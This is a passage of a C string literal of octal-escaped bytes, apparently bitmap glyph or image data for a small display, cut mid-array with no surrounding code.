\"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\200\\340\\360\\360x<<\\36\\36\\36\\36\\36>>~\\376\\374\\370\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\200\\300\\340\\360xx<<<<><||\\374\\374\\370\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\"\n  \"\\377\\374\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\377\\377\\377\\377\\377\\177\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374|~>>\\36\\36\\36\\36\\36\\36><|\\370\\360\\300\\376\\376\\376\"\n  \"\\376\\376\\0\\0\\0\\360\\376\\377\\377\\377\\77\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\340\\300\\300\\300\\300\\300\\300\\340\\360\\360|>\\37\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\200\\300\\360\\370\\370|<>>\\36\\36\\36\\36\\36\\36>~\\374\"\n  \"\\374x\\20\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\370||<<<><<<||\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\371\\340\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\17\\17\\17\\37\\37\\37>>~\\374\\374\\370\\360\\340\"\n  \"\\300\\0\\0\\0\\0\\0`\\370\\376\\370\\360\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\377\\377\\377\\177\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\377\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<<<<<<<\\274\\377\\377\\377\\377\\377<<<<<<<<<<<\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\376\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34|\\374\\374\\374\\364\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\374\\374\"\n  \"\\374<\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\370\\340\\0\\0\\0\\0\\300\\360\\376\\377\\177\\37\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\374\\370\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\374\\374\\374\\14\\37\\377\\377\\377\\374\\200\\0\\0\\0\\0\\0\\200\\370\\377\\377\\77\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\374\\377\"\n  \"\\377\\377\\7\\0\\0\\3\\177\\377\\377\\377\\360\\0\\0\\200\\370\\377\\377\\37\\1\\0\\3\\37\\377\\377\\376\\360\\200\\0\\0\\374\\377\\377\"\n  \"\\177\\1\\0\\0\\0\\0\\0\\17\\377\\377\\377\\376\\370\\377\\377\\17\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\\377\\370\\376\\377\\377\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\34|\\374\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374|<\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\77\\177\\376\\374\\370\\340\\300\\340\\370\\374\\377\\177\\37\\17\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\361\\377\\377\\377\\77\\377\\377\\377\\360\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\377\\177\\77\\17\\7\\1\\0\\0\\0\\1\\7\\17\\37\\177\\377\\376\\370\\360\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\4\\6\\7\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\"\n  \"\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4<\\374\\374\\374\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\374\\374\"\n  \"\\374<\\4\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\17\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\360\\300\\0\\0\\0\\200\\360\\374\\377\\377\\77\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\376\\370\\374\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\361\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\77>|||x|||>\\77\\37\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<<<\\274\\374\\374\\374\\374\\374|<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374\\376\\177\\77\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\237\\217\\207\\203\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\300\\300\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\360\\377\\377\\377\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\17\\17\\37\\37\\37\\37\\77\\377\\371\\361\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\37\\77\\177\\377\\376\\374\\370\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\377\\377\\370\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\361\\371\\377\\177\\77\\37\\37\\37\"\n  \"\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\370\\370\\376\\377\\177\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374~>\\36\\36\\36\\36>>|\\374\\370\\360\\340\\300\\300\\300\\200\\300\\300\\340\\360\\370\"\n  \"\\376|\\70\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  